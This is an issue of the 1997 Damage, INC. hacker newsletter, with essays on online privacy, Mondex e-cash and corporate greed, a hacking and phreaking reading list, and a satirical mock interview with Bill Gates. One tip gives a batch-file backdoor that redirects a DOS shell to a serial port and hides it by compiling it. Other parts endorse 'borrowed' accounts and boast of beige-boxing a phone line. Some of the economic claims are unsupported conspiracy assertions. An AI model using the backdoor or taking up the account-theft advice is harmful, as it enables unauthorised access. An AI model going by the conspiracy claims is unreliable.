¯ Search String: {OPINIONS} + +þ REPORTS FROM THE FRONT - Privacy Policy Chart - Online Service Providers. + ¯ Search String: {REPORTS} + +þ SOURCE AND SCRIPTS - The File Creator Utility assembly source code. + ¯ Search String: {SOURCE} + +þ THE JOURNALIST'S TOP TEN LIST - Top Ten pranks on the Internet. + ¯ Search String: {TOP TEN} + +þ CLOSING COMMENTS - BLACKENED'S Disturbing Closing Comments. + ¯ Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +INTRODUCTION: Another issue of the Damage, INC. Newsletter is here... so sit + back and enjoy the fucking ride. We're going to take you on a + journey that will expand your mind, enlighten your thoughts and + awaken your very soul. ;) + This November issue is packed with interesting information and + we hope it will open your eyes slightly after you've read the + articles that we've written. If not, then perhaps you should go + back to your clan of zombies, chat for hours in #warez or call + your favourite lame board because the Damage, INC. Newsletter + wasn't intended for you. That's point blank d00d! Haha... + The content and message are more important than the aesthetics + and layout. For the loyal readers that understand the concept: + enjoy reading the newsletter and send us feedback. + + +BIG BROTHER BASHING - {BIG BROTHER} +The Internet: Big Brother's pride and joy. + +The Internet is well known for the mass amounts of information that are +available to its users all around the world. As millions of people +obliviously post email and in newsgroups, or move from web site to web +site, Big Brother is watching. Never before has it been so easy for Big +Brother to profit from the private information it has obtained, as well as +track Internet users' activities. + +It is sickening, but not shocking, how many databases that contain private +information are accessible on the Internet. Do you know how easy it is for +someone to find your phone number, email address, and street address? Or +that extremely sensitive information like your SIN/SSN number is probably +available on a pay-for-query database? It is very easy. The more active +you are on the Internet, the more chances Big Bro has to learn about you. + +It is Big Brother's intent to create online dossiers by collecting vast +amount of data, and indexing said data by your name. A search engine could +retrieve your dossier, and then the searcher could examine it. Every bit +of personal data, personal habits, newsgroup posts, etc. would all be +disclosed without your knowledge. + +That information can easily be used against you. With the information that +is available, your identity could be easily stolen from you. Decades from +now, your words can be used against you. In essence, Big Brother can use +the Internet to destroy you...or to control you. + +For many people, Internet Service Providers (ISPs) are their link to the +Internet. What most Internet users don't consider is that their ISP +operator could be bought out by Big Brother. How else do you think Yahoo, +Hotbot and their kin maintain their email databases? ISP operators sell +them! If you chose to be a legitimate Internet user (use an account under +your own name) that means that the ISP has your real name, street address, +telephone number, plus any other information you had to give them. Does +that information get sold as well? Can your particular ISP be trusted to +keep your personal information private? Those are the questions you should +ask when choosing an ISP. + +Don't forget that the system administrator can sniff your TCP/IP packets or +use a protocol analyzer to see what you are up to. I have also been +informed that different types are logs are created, and can't be cleaned up +unless your ISP allows you to have a shell account. + +Everyone that has used Internet Email should realize that their +Username@Location attached to every post. Therefore, every email posted +can easily be traced back to you. And in any event, your ISP could +possibly has a copy of your message backed up. + +Big Brother has created scanners that scan email messages for "obscene" +words. It is not unreasonable to believe that your email is scanned for +private information that can be added to your dossier. Plus the +administrator of your ISP can read all of your incoming and outgoing email. +If you use the Internet at work, your employer has a legal right to read +your email. And do you know for sure if an email message is purged after +you delete it? + +Big Brother has found that the World Wide Web is an excellent way to track +Internet users, and to learn more about their personal interests. First of +all, when you connect to a web site/page the TCP/IP packet contains your +your origin site (ISP address) and username. From that information, your +email address can be ascertained. With your email address, it is very easy +for a web site operator to find out any other personal information, like +your real name, street address, telephone number, etc. Of course, all the +activities you perform and are logged in a cookie file. + +Also, any information you have inputted on the web site will be in the +cookie file, as well as a database on the actual site. Web sites can read +cookie files to find out other information, such as the last web site you +have visited. If you return to the site without deleting the cookie file, +it reloads all of what you did during previous visits. + +With all of the information at their disposal, they can do virtually +anything. They can spam you with advertising targeted at your perceived +interests, sell what they have found to marketing firms, etc. + +As you can imagine, the battle to keep information private has been lost. +The only hope that remains is to give users the option to access the Internet +anonymously. Various techniques have been implemented to that end. +Anonymous (email) remailers, and the services provided by web proxy servers +try to provide anonymity to Internet users. However, anonymous web browsing +and email are currently unsophisticated and underdeveloped. Big Brother and +hackers will always find ways to defeat the anonymizing systems. Obviously, +the best way to access the internet anonymously is to use a "borrowed" account +that contains none of your information. Big Brother can't track you then. + +I am certain that this will be the first of many articles on Big Brother +and the Internet. To expose every area of the Internet that Big Brother +has infiltrated is impossible in this one article. :-( The intention of +this article is: + +1) To make you aware of how much of your personal information is easily + attainable from the Internet. +2) To let you know how easy it is for Big Brother to link you to your + Internet activities. + +Written by Shatazar - Damage, INC. (C)opyright 1997. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Practical uses for batch files: + +Here's a quick tip. The batch file below can be used as a shell to DOS +utility (or backdoor if you prefer to call it that). Just put it onto a menu +and have it execute it like a door. You can also convert it to a filename.com +by using a BAT2EXEC utility... to make it more difficult to read. ;) + +@Echo Off +ctty com1 +command + +You should create your own batch files, to automate any of the repetitive +commands you do on your system. The DOS manual isn't the greatest reference +to use, but most people already have a copy of it just collecting dust on a +shelf somewhere. As a start, I suggest you try to learn more about batch +programming by reading through your DOS manual. After that, you can download +a more advanced reference like TSBAT50.ZIP and learn from those examples. + +Programming batch files to perform tasks is a simple, efficient way to improve +your system. They can be very useful if properly applied. Also, using a batch +file for frequently used commands is a real time saver. We've included a copy +of DAMZIP.BAT. It's a small (only 650 bytes) batch file that adds zip comments +to .ZIP files and includes bbs ads in them as well. Simply clip out the code, +and save it to a file named DAMZIP.BAT. Then, you will need to modify it +slightly so that it works on your system. As in, change the paths from c:\ads\ +to the directory that contains the ascii zip comment file... and your bbs ads. +Obviously, the filenames must also be changed to match the files you are going +to use for the zip comment and bbs ads. DAMZIP uses .ZIP as a default extension +so it's not necessary to enter a filename extension when using it. + +DAMZIP filename # - Processes a single .ZIP file. +DAMZIP * # - Processes *.ZIP files in the current directory. + +You can select the zip comment file by using the # switch. Examples: + +DAMZIP * 4 - Processes *.ZIP (all .ZIP files in the current directory) and + uses justice4.asc as the zip comment. + +DAMZIP damage-3 1 - Processes damage-3.zip only and uses justice1.asc as the + zip comment. + +------------------------------------------------------------------------------ +@Echo Off +IF "%1"=="" GOTO Help +IF not exist %1.zip GOTO Error +ECHO. +ECHO DAMZIP v1.00 - By Damage, INC. (C)opyright 1997. +ECHO Working... +FOR %%a IN (%1.zip) DO pkzip -z %%a nul +FOR %%a IN (%1.zip) DO pkzip -a %%a c:\ads\(519) >nul +FOR %%a IN (%1.zip) DO pkzip -a %%a c:\ads\nuke-you >nul +IF not "%1"=="*" GOTO Done +ECHO. +ECHO ZIP files found: +DIR *.ZIP /b +GOTO Done +:Help +ECHO. +ECHO DAMZIP v1.00 - By Damage, INC. (C)opyright 1997. +ECHO DAMZIP ®filename¯ ®file number¯ +ECHO. +GOTO End +:Done +ECHO. +ECHO Finished. +ECHO. +GOTO End +:Error +ECHO. +ECHO Aborting DAMZIP. %1.ZIP was not found. +ECHO. +:End +------------------------------------------------------------------------------ + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +Mondex and Electronic Cash: From 1s to 0s + +For thousands of years, humans have exchanged currency for goods and +services. Currency has always had some real value. In ancient times, +currency was judged on the composition of a coin. Gold coins were +literally "worth their weight in gold." In modern times, governments issue +paper money and coins. Most modern currency doesn't obtain its value from +composition. They are backed by the gold reserves of that particular +country. The currency only becomes worthless when the country totally +collapses. Chartered banks are also afforded protections from that +country's reserve bank, so that innocent citizens don't lose all of their +money if the bank goes bankrupt. + +For some reason, governments and "society" wants to change the tried and +true method of real currency. With the introduction of "smart" cards, it +will be possible for corporations to issue "electronic money." Of course +these companies are outside of the regulated banking system, so they are +not afforded any protections that currency and bank deposits do. Unlike +cash, electronic money has nothing backing it up. You must trust the +corporation holding your money completely! + +Smart cards look like any plastic credit or debit card. They differ in +that they do not rely on magnetic strip technology. Inside of a smart card +is a microprocessor that is capable of storing, sending and receiving +information. To put electronic cash on the card, one must go to an ATM +machine and download it onto the smart card. The money in your bank +account is gone. It now only exists on the smart card. These cards are +also referred to as a Stored Value Card. You then may go to businesses +that have a compatible smart card system to purchase items or services. + +Gee, doesn't cold hard cash do the same thing? ;) What is the advantage +gained by using electronic cash? The only advantage I've heard is "I don't +have a whole bunch of change in my pocket." Haha... In reply I say that +you can easily have nothing in your pocket...and in the "smart" card. + +Mondex International is one of many corporations that are competing to +establish their technology as the standard electronic cash system. They +currently have pilot programs under way in various small cities in, such as +Guelph, Ontario. + +The current Mondex system requires an Automatic Teller Machine (ATM) of a +participating bank to put money onto a card. Then the electronic cash can +be used at retailers that are participating in the trial. Mondex cards are +also capable of performing card-to-card electronic cash transfers. Of +course, the transfer is offline, so Mondex's records have to be updated at +an ATM. Fat cat banks and corporations that back Mondex are MasterCard +International (which owns 51% of Mondex), Royal Bank of Canada, Canadian +Imperial Bank of Commerce, and the most corrupt of them all, Bell Canada. + +What Mondex users may not know is that Mondex once claimed that all of +their transfers were "anonymous, just like cash." They said this in a +previous pilot program in Swindon, United Kingdom. However, Privacy +International made a formal complaint, exposing Mondex's lie. A lie that +should be obvious since each Mondex card has its own unique ID number. It +may be of interest to Guelph Mondex users that CIBC was planning on +creating dossiers and marketing reports on all Mondex users that would use +their ATM machines. + +While telling Mondex users that their system was "anonymous", they told the +participating banks and corporations that "the Mondex card system is fully +auditable. There is an electronic record of the time, date, amount, and +participants of each transaction." Huh? How can something be "anonymous" +and "fully auditable" at the same time? Mondex is really trying to have it +both ways. Mondex was caught in a blatant lie. And yet you are expected +to trust them with your money! What integrity does this corporation have? + +The truth is that the Mondex auditing system is complete enough to invade +the privacy of users, but not "fully auditable." A Mondex card has a very +limited amount of storage. Therefore, an active "offline" Mondex user can +overflow the memory, causing data loss. And were talking "money" here, so +data loss means money loss. If the electronic cash is lost in cyberlimbo, +or if the card is damaged guess who benefits? The word `Mondex' should +come to mind. + +The flaws in the Mondex auditing system leaves the entire system very +vulnerable to fraud. Imagine an organized crime syndicate creating a huge +amount of counterfeit electronic cash? Mondex would meltdown. And if +Mondex's system is compromised by fraud, who pays in the end? Let's put it +this way, you might as well take your Mondex card and melt it down. You +won't be able to access the money on your card because Mondex will shut its +system down. + +Are you skeptical that Mondex can indeed meltdown? I'll quote Mondex's +`top security man'. "Let's be honest -- no system is fraud-proof. If I +were to claim Mondex is fraud-proof, you'd say I was an idiot. And you'd +be right. We don't claim that. The system has to be built to tolerate a +loss. If you don't design your system like that, you've had it. We've +designed a system that will tolerate loss." + +Mondex is ready to "tolerate a loss." Are you? Are you prepared to lose +everything when Mondex's system is compromised? Mondex doesn't care. +They'll just change their internal encryption scheme and send you a new +card with an apology letter. Are you prepared for your Mondex card to be +shut down if Mondex is suspicious of fraudulent activity? Do you believe it +could be shut down just before you need to pay for lunch, or taxi fare? +Cash just doesn't disappear like the insecure electronic version can. ;) + +If you use a Mondex card, you are a puppet...and Mondex is pulling your +strings. There is a price to be paid if you have the need to be +"high-tech." If Mondex cards are distributed throughout North America, +Europe, and the rest of the world, we'll all have to decide whether we will +use a smart card or cash. Damage, INC. just wanted to warn you that Mondex +and other similar "smart cards" aren't as secure as they claim to be, and +aren't as fast or convenient as cash. + +Written by Shatazar - Damage, INC. (C)opyright 1997. + + +CORRUPTION AND GREED - {GREED} +Corruption and Greed in our Global Markets: + +..an article by the journalist + +FOREWORD: + In writing this article, I want to make you aware of some of the reasons +behind the hacking/phreaking/anarchy/viruses/carding scene. Why do people +join together to learn about information that goes "against the state?" +Why do people risk themselves to participate in illegal activity? +Big Brother sees this as a form of treason... and I think if you learn +the philosophy behind h/p, you will understand why *we* think our gov't +officials are the real perpetrators. + + Corruption is the cancer of our society. It eats away at the living +flesh from the inside out. Corruption multiplies, it mutates, and it +infects. Ask any politician what their original motives were for getting +into politics. Compare their answer to what their current activities are. +You will most like see the "greed virus" has overtaken their psyche. They +have seen the briefcases of bribe money in front of them, and they were +weak. Their weakness becomes manifested in society as "cutbacks" and +"downsizing." + Of course none of this can be proven. + What I can prove though, is what happens globally and nationally in our +economic system. How corruption and greed in our global markets have caused +a once stable system to fall to its knees. How individual and mass +decisions affect entire nations' economic balance. I will also provide you +with educated predictions on current cover-ups of corruption/greed in +economic markets. + Who is the criminal behind the mask in most of these situations? Either +the United States Gov't, or large corporations such as Microsoft, McDonalds, +Coca-Cola, etc. As an example, when you buy a CD such as Pearl Jam, or +Spice Girls... you are paying around $20.00 when all is said and done. +Let me give you a general price break-down for your $20.00: + + Cost of CD to produce: $1.00 or less + Taxes going to Big Brother: $2.50 + Royalties to the artist: $3.00 or less + Royalties to BMG/SONY/VIRGIN: $12.00 or more. + +That is an estimation, but it shows you how greedy the music companies +are... we should only be paying about 1/2 of what we do for CD's and tapes. +Most people are too ignorant to realize this.. although there's not much +we can do about it except stop buying CD's. + The focus of this article however is global markets. So I would like +to start off by bringing your attention to our nice little deal with US and +the Mexicans - NAFTA. In case you don't know, this stands for +North American Free Trade Agreement. And essentially what it does is enable +large manufacturers to move plants down into mexico where labour is dirt cheap. +The old factories are either run at 1/2 the output (with 50% less employees) +or shutdown completely). This is simplified to prove a point, and perhaps +NAFTA was not originally meant to cause poverty. But it has, and that makes +me doubt this fact. Key questions are: "why would a company sell-out its +employees just for bigger profits?" and "How does the government let this +happen?" The answer is up to you to find. + When it comes to greed, all big companies know that the most profits +are gained when you have a monopoly on a market. A monopoly means that only +one company is providing a product, and there is no competition to drive +down prices, and increase quality standards. In our capitalist society today, +this kind of behaviour dominates. Micro$oft is probably the epitome of this +negative action. Microsoft is the bully of the software market, and if you +weren't aware of this, and still support Microsoft's inferior software, then +perhaps you should re-evaluate. Microsoft's marketing scheme is extremely +aggressive and self-serving. I'm all for making big profits, but this is +getting out of hand. What Bill does is force retailers who want to be a +licensed microsoft vendor to put win95 on the new machines that they sell. +Microsoft crams its shitty software down their throats (retailers), and as a +result, they cram it down *our* throats, in order to make what little profit +they can to pay the bills. This information is from a reliable source. + Because this kind of behaviour is very bad for publicity, companies try +to hide it from you. If you an ignorant zombie, you might perhaps not +believe anything I illustrate here. Go fuck yourself. To continue, I am +going to outline a couple of ideas that a lot of enlightened people believe +to be true. Currently we are cutting down trees at a rate of something to +the order of one square kilometer per minute. It is sickening. If you have +ever driven past a "de-forested area" you will immediately feel death in the +air. Logging companies are relentlessly slaughtering our earth's beautiful +forests. The shocking thing is, we know of an alternative source for this +material, yet it is illegal to grow for industrial, and recreational purposes. +I am talking about Cannabis; Hemp; Marijuana. Hemp is known to yield higher +gains for paper products than any tree. Hemp grows annually, unlike trees +which take 40-100 years to mature. And Hemp is cheaper and easier to grow. +Why then, are we not utilizing this wonderful plant? The answer my friends +is because of a little word called 'greed'. Let me explain, logging has been +a huge business over the course of the 20th century. The companies are all +associates, and are all aware of the inevitable ban on de-forestation. Of +course they don't want to go out of business. These fat cats have been +living the good life their whole lives, and they do not want to give it up. +Now focus on the politician, who is going to vote yes or no to a bill that +will make hemp legal for industrial use. It is in the interest of the +logging company to "buy" this guy's vote. The politician is offered $25000 +to vote 'no' to legalize hemp. This situation happens so much more than you +know my comrades. In almost *every* multi-million dollar industry, +kick-backs, bribes, and pay-offs are made every day. The rules seem to be +different at a billion dollars. It seems you are allowed to fuck with the +earth's precious balance for the promise of incredible profits. + Another quick example of how this is occurring right now has to do with +the oil and car companies. It appears there are serious repercussions in +all this corruption. Pollution threatens to take over our earth's atmosphere, +because of harmful smoke from factories, and also because of the oxides let +into the air by cars and trucks. It seems to me, that this follows the +textbook case for an industrial scandal in order for continued profits. There +is *no doubt in my mind* that a superior engine to the gasoline engine exists +that is cheaper to produce, requires cleaner fuel, and is available to produce +in mass-amounts for little or no change-over costs. Unfortunately, these +incredible inventions have to get a patent before anything can be done. I +believe that the oil companies buy these patents (through corrupt methods) +before any scientist has a chance to build a prototype, or attempt to +publicize their findings. The oil companies then lock the blueprints up so +that they can continue to reap the profits they know and love. + +EPILOGUE: + I could continue on for pages with examples of how greed is starting to +seriously affect our society. Big Brother (our gov't) is guilty of many +times choosing capital gain over the good of society. You must find out for +yourself what is *really* going on in the world right now. Get off your butt +and read a book, or call FoI and enlighten yourself. Until more people +become aware of this corruption, it will continue to happen. Thank you for +taking the time to read this article, and the Damage, INC. Newsletter. + + +H/P INFORMATION AND NEWS - {NEWS} + +Since Army Boy made a request for files and information that would benefit +a newbie, I decided to create a 'reference for newbies' in this section. +However, it is up to you to download, read, learn and use the utilities in +this list. We can't and won't hold your hands and just give you information +like codes etc. You'll have to learn how to obtain them on your own. We will +tell you what's necessary to get started though. ;) + +The Ultimate Wish List for Newbies: + +2600_795.ZIP - FAQ on hacking and phreaking from alt.2600 newsgroup and + 2600 magazine. +ABCHACK.ZIP - The ABC's of Hacking. +COMPUNIX.ZIP - The Complete Guide to Unix and Unix Hacking. +CRACKDOW.ZIP - The Hacker Crackdown book by Bruce Sterling. +CRYPTFAQ.ZIP - Cryptology FAQ. +SNIFFER.ZIP - Sniffer FAQ. +SOCIAL~1.ZIP - The Complete Social Engineering FAQ. +PHREAK_M.ZIP - The Official Phreaking Manual. +FIELDPHR.ZIP - Information on Field Phreaking. +FONE_T~1.ZIP - Phone Systems Tutorial by The Jolly Roger 1/2 +FONE_T~2.ZIP - Phone Systems Tutorial by The Jolly Roger 2/2 +SIRHACKS.ZIP - A Unix Hacking Tutorial by Sir Hackalot. +TL110.ZIP - ToneLoc v1.10 Wardialer/Scanner. +MENTOR.ZIP - The Mentor's Guide to Hacking. +NOUTIL2.ZIP - Nowhere Man's Utilities. +CRJACK41.ZIP - Cracker Jack v1.4 Unix Password Cracker. +SR504.ZIP - Sourcer v5.04 Disassembler. +TASM31.ZIP - Borland's Turbo Assembler v3.1 (or new version). +HELPPC.ZIP - HelpPC v2.10 Quick Reference Utility for assembly. +QEDIT.ZIP - QEdit text file editor. +XE353.ZIP - XE v3.53 Hex Editor. + +There are also some magazines that newbies should download and start reading. +We recommend CUD (Computer Underground Digest), 40-Hex, The Crypt Newsletter, +Phrack, NuKE Info-Journals, LOD/H Technical Journals and VLAD. + + +úúúÄÄÄ H/P NEWS ÄÄÄúúú + +Unfortunately, there's not a tremendous amount of local h/p news to report +since nothing major has happened in 519. However, we might publish news +from the 604 area code in the next issue. - BLACKENED + +I've just recently entered the h/p scene in 312 (Chicago)... and so far it +looks fairly promising. Sure, there have been some busts in this area in +the past, but at the moment it seems rather stable and calm. From what +BLACKENED told me the last time we spoke, 519 is in a hellish state... with +very little interest or excitement. The 312 area code isn't nearly that bad, +although it is larger with more experienced people involved. Thus far, I +have found a few good h/p boards to call and check out... and I'm enjoying +my stay here. I actually found a few boards quickly by scanning. :) +- Blackie Lawless + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +An interrogation of Billy Gates. + +-B = BLACKENED +-G = Billy Gates +-L = Micro$oft lamers/lackies + + +Hello, Micro$oft. This is BLACKENED of Damage, INC. I'd like to do an +interview with Billy Gates. Is he available or is he going to dodge my +questions again? -B + +Billy might be currently tied up ruining... I mean buying some other +companies right now.. Let me check. I'll put you through... -L + +... Hello, this is Will. -G + +Hello there. I was finally able to get through your lame security. ;) -B + +Security? haha, I have no concept of what security is. Just look at my +Operating systems. -G + +I meant, you have lackies screening your phone calls for you. Why have you +been trying to hide from Damage, INC. for years man? All I want to do is ask +a few simple questions... The future of Micro$oft will depend upon this +interview. So, be honest for once in your fucking life. ;) First, why did +you ever release that piece of shit called Win95? Was it done totally for +quick profit? -B + +I resent that. I believe windows 95 is the best product on the market right +now. If it has the Microsoft label, it's good old Microsoft quality. Haha. +I released it so that I could become the most hated man in the world. I'm +doing a good job don't you think? Would I put out an overrated operating +system just for quick profit? ... you bet your life i would. -G + +Hahaha. Yes, of course you would. Micro$oft and the word quality don't go +together man. Windoze is completely bug ridden and an inferior operating +system. You know it, I know it, and the only people that don't are the +Windoze zombies that buy the shit you peddle. Next thing you know, you'll be +trying to defend your shitty Win95 keyboards. Haha. Why hasn't Win98 been +released yet? Are your highly paid programmers still trying to fix up their +Visual Basic code? -B + +Why you facetious little punk! Who the hell do you think you are? Insulting +my company, and my excellent, rayon coated keyboards. +Zombies? hahah, that's interesting, that's the word I used to describe that +in my marketing plan. +I'm waiting to release win98, actually its been ready for months. But I want +to squeeze more money out of my first attempt at real multitasking. -G + +I'm your worst enemy Billy. Now that you know who I am, I have a few more +questions to ask you. What companies are you planning on buying next? Also, +are you ever going to buy yourself a new shirt and tie, or an expensive suit? +Or are you that cheap that you want to hoard your $40 billion dollars... Most +people that I associate with call you a greedy bastard. +Do you realize that? -B + +A greedy bastard? Geez, nobody's ever called me that before... . So I +am worth more than Cuba. That's greedy? I thought I was being generous. +You say I wear cheap clothes? Thats' because I'm a four-eyed nerd, who +doesn't have an inkling of social acceptance, or moral conscience. Does that +answer your question? +You think I would tell you what companies I'm buying next? +...actually I don't even know myself - I have a big wheel that I spin, and +the space it lands on corresponds to a business that becomes part of +Microsoft that day. hahahah -G + +That doesn't surprise me at all. I agree, you're the biggest geek/lamer +around. Yeah, you do wear cheap clothes. You should also consider buying +a new pair of glasses. Hahaha. As for the companies that you'll buy next, +I'm sure you have secret plans to buy out Intel and have a monopoly on the +hardware industry... to go along with your software monopoly. You're a very +lucky man in some respects Billy. IBM really gave you a good start back in +the 1980's. You have them to thank for your wealth... but I'm sure your ego +forces you to credit yourself with building Micro$oft. I just hope the U.S. +Government fines the hell out of you! Hahaha. -B + +FUCK YOU MOTHERFUCKER!! THEY'LL NEVER GET MY MONEY. NEVER. +..AND NEVER *EVER* SAY 'IBM' IN MY PRESENCE AGAIN. SPIT, SPIT. -G + +The rest of the words were too big for me to understand... -G + +After the sweet deal IBM gave you back then, I'm surprised at your hatred for +them. Of course, your deal with Apple soured a little bit too. Is that a +soft spot that I detect? You don't like any other companies besides your +own, do you? Haha. As for the U.S. Government, they're doing what is right +for once... in attempting to stop you from dominating and controlling the +world. Just as, hackers do their part to destroy your little, shitty +network. -B + +I have no idea what you're talking about. I have no plans to dominate the +world. Maybe North-America. Shit, oops, that's off the record. Don't print +that okay? +No I don't like competition. Capitalism is a full-scale war, and I'm +winning. Why would i want to stop? Death is symbolized in takeovers, and I +have killed thousands. Those who try to battle with Microsoft will feel the +iron fist of the most influential fighter strike them down as if they were +flies. No one can stop me, no-one can stop me now. -G + +Damage, INC. doesn't make deals with lamers Billy... and you more than +qualify for the lamer category. Haha. Someone will stop you. Damage, INC. +will continue to inform people about you and Micro$oft. You influence the +ignorant zombies and prey upon their lack of knowledge to sell inferior +products. Without them buying your shitty software, you'd be nothing man! +You've tainted the word capitalism... and sicken me. Of course you don't +know what I'm talking about. You pretend to be coy, meanwhile you're +probably planning your attack on the rest of the software market as we speak. +I speak for millions of people when I say, Fuck You! We'll do everything +in our power to stop you... and your corrupt, greedy, underhanded company. +You can't influence the intelligent Gates. That's why you'll never defeat +us. -B + +What's your name again? Blackened. You are absolutely right there Blackened. +But I am smart because I know that the people you talk about only represent +1% of the population. The government thinks they can try and stop me by +fining me. Haha. I make a million dollars a day in interest. I am a man +who lives with no emotions. My wife and I sleep in separate beds, and when +we have sex, well, we never have sex, as my pecker's too small. You may +think you know everything Mr. Blackened, but my only weakness is my greed. +Try and find a way to exploit that. Tell me why I should be scared of +Damage, INC. -G + +I'll never install any version of Windoze. That's one thing I *do* know Mr. +Billy Gates. Sure, I only represent a very small portion of the population, +but the Damage, INC. Newsletter will be distributed world wide... and you +*will* be exposed. Everyone will know that you're a corrupt bastard that +thrives on greed... after they read the next issue! Hahaha. Stick that in +your pipe and smoke it Billy! Actually, that's a good idea. Try smoking a +little weed sometime and calm down... As for exploiting that, if there's a +way to destroy Micro$oft, we'll find it. That's a promise man. I don't +want to hear about you and the pathetic situation with your wife... All that +tells me is that you aren't a man, but a fucking geek that lives for money. +Do you sit in a big leather chair behind your desk and look at your bank +books and investments every night like a fat cat while others do your dirty +work for you? -B + +Actually my chair is zombie-hide. And I have a nice big 50" monitor that +updates me every second of how much money I make. Did you know I make over +$100 000 a second? muahahahah. +What's this Newsletter? fuck it, its no match for my team of skilled +investigators. We will find and destroy Damage, INC. But you can't tell +them all. -G + + I'm shaking my head at you Gates. As if I'd give you any information +about the Damage, INC. Newsletter. Let's see if your paid lackies can stop +us. Haha. Check your Caller ID... I'm calling Micro$hit from your home +phone number d00d... Hehe... ;) -B + +??? - "Hey Sergio, go look at the call-display, NOW." ... -G + "Yassir, ze nomber eez 555-GEEK.. eetz your hom phon nomber." -L + "How the hell??... quick call security." -G + +I don't know who you are Mr. Blackened, but don't play games with me. I +don't know what you're up to. I'm losing faith in my excellent team of +security guards. What are you trying to prove here you big bully? -G + +Haha. You don't fucking know anything Billy... ;) I'm not playing games, +this is war... as you said earlier. I will do whatever is necessary to +make you pay. Speaking of making you pay, I *really* appreciate you allowing +me to use your phone line. In return, you will get an early Christmas +present when you receive your phone bill... Hahahaha! Thanks again. I +enjoyed beige boxing for the past few days and calling all over the world +while you were at Micro$oft wheeling and dealing. I've only just begun +though man. You ain't seen nothin' yet fucker! CLICK! -B + +..."hello, hello?". Fucker must be lying, those "beige-boxes" only work in +the movies. ;) -G + + +LETTERS TO THE EDITOR - {LETTERS} + +The message below was posted on FoI and addressed to The Journalist, but since +it's feedback about the Damage, INC. Newsletter... I decided to include it. ;) +If you have a comment, suggestion or hate mail that you want published, just +leave me Email on AJFA, FoI or Distraught Continuum. + +- BLACKENED + + +From: Army Boy Base : [General] Discussion +To : The Journalist Refer #: None +Subj: Newbie (of course) Replies: None +Stat: Normal Origin : Local + +Hate to bug you on a day like today but I just read the newest damage +newsletter release, and enjoyed it. Very comical, informative and +inspirational ;) + +I was just wondering (since I'm a newbie scum or whatever) if you could refer +me to some information philes (<-cheap reference) on getting started. I know +nothing about programming, assembly, boxes, etc... and It would be nice If I +could get my hands on something that puts it all in perspective. + +No prompt reply necessary, but if you could assist me in any way, I'd +appreciate it. Also, while I've thought about it, If you know of any books in +the library (I live in Guelph) that could help put this in perspective, or +even how to learn programming (borland, c++, etc..) I would appreciate a few +references. Thanx, + + Army Boy, alias Sir_Autechre. + +P.s. I must say again that the damage newsletter 002 was Excellent! Right on, +keep it coming! +------------------------------------------------------------------------------ + +Editor - I'm thankful that you wrote that message man since I enjoy receiving + feedback. We're all glad that you enjoyed the last issue of the + Damage, INC. Newsletter. Also, everyone was a newbie at one time or + another, but that doesn't mean we think you're scum man. ;) We can + only judge you upon how you act, your attitude and willingness to + learn about h/p. You've already taken the first step towards learning + more...and thus far you seem to be respectful and eager to learn more. + + Read the H/P Information and News section. I've included a list of + necessary files to download and read. They'll assist you in learning + the basics of h/p, unix etc. You should also get a copy of ToneLoc, + Turbo Assembler and the other programs and utilities that I listed. + As for information on boxes, there is a vast amount available on AJFA + and FoI. If you are serious about wanting to learn how to program in + assembly, contact me via Email. I don't program in C++ though, so + I cannot refer you to any good books for that language. Thanks again + for the feedback and compliments. ;) + + +OBJECTIVE OPINIONS - {OPINIONS} +The Media - Mistakes or Misinformation? + +The media is a sickness. They are quick to spread misinformation to the +masses (of zombies)... and they know that it'll be believed by them without +question. Every once in a while, they make a major mistake and have to +retract their comments. In a feeble attempt to take back their words, they +print a very small article on page 38 (just as an example), and admit that +what they previously wrote was incorrect. However, by that time the damage +has already been done by the media... and innocent people's lives have been +permanently affected. Thus far, it might sound like I'm being overly harsh +and not objective with my opinion on the media. Perhaps you're thinking or +assuming that I have nothing to base my statements on. If that's the case, +you are mistaken. There are plenty of incidents in the media that I'm using +to base my opinion on... as proof to show you that they "aren't always right". +The media jumps to conclusions, wrongly accuses innocent people, makes huge +assumptions and prints stories (including rumours) submitted by unreliable +sources. Plus, they never want to reveal their sources to anyone... even +after the information has been proven to be false. + +Take the Richard Jewel story as one example of the mass media destroying +someone's reputation and life. His very name will forever be associated +with the "Olympic Park Bombing"... even though he's an innocent man. People +still believe that he's guilty. He's been confronted in public places, +heckled, threatened etc. Who's at fault? The media. Why should the media +be held responsible for what has happened to Richard Jewel? A small newspaper +in Atlanta wrote a story, naming him as the prime suspect for the Olympic Park +bombing (right after he'd been called a hero by the press for trying to clear +people away from the sound stage tower). Then, the mass media jumped on the +story... and thus a "media frenzy" was created. Almost instantly, it was a +national story on TV, the radio and in every major newspaper. Suddenly, the +name Richard Jewel was a household name... and people were calling him an +evil man, a sick terrorist etc. Obviously, the zombies (citizens that believe +whatever the media tells them) couldn't talk enough about the story. They +were fascinated by it. Yet, did any of them even consider for a second that +he *might* be innocent and wrongly accused? Did they go by the facts and +evidence or rumours and speculation? Basically, they just condemned him before +he was even formally charged with committing any crime. Is that justice? I +think not. Was it a mistake by the media? Again, I think not. + +The mass media spreads misinformation on a daily basis. Sure, that's a bold +statement to make... but it is true. They don't always check the facts first +before printing an article on someone and making false accusations against them. +Just as, the media enjoys stories that get people talking and last for long +periods of time. There have been several public court cases in recent years +that I could draw upon as examples, but I'm sure you know what the "big, fat, +juicy, money making stories" were. I'll just use one example, the infamous +Unabomber case. Afterall, it's still making the headlines and the press hasn't +quite lost interest in it... yet. As a result of the media coverage, I don't +think Theodore Kazinski will be granted a fair trial. If you disagree and +honestly believe he will have a fair trial by untainted jurors that have no +bias against him... then perhaps you should consider the influence that the +media has upon the average citizen. Almost everyone has been exposed to and +assaulted by the media barrage of coverage on the Unabomber. Sure, they try +to use words like "suspected Unabomber" etc. when speaking about Kazinski... +but in reality aren't they trying him in the press before he receives a trial +in court? Is it innocent until proven guilty or guilty until proven innocent? +That is something that you'll have to decide for yourselves. What about the +headlines that declared the Unabomber was caught and arrested after an +exhaustive 17 year FBI man hunt? Was that just a mistake? Or was that the +media trying to mislead people with misinformation again? + +In summary, the media should answer to someone. They aren't "all knowing" and +"all powerful". They sure love to write stories and profit but don't enjoy +answering any 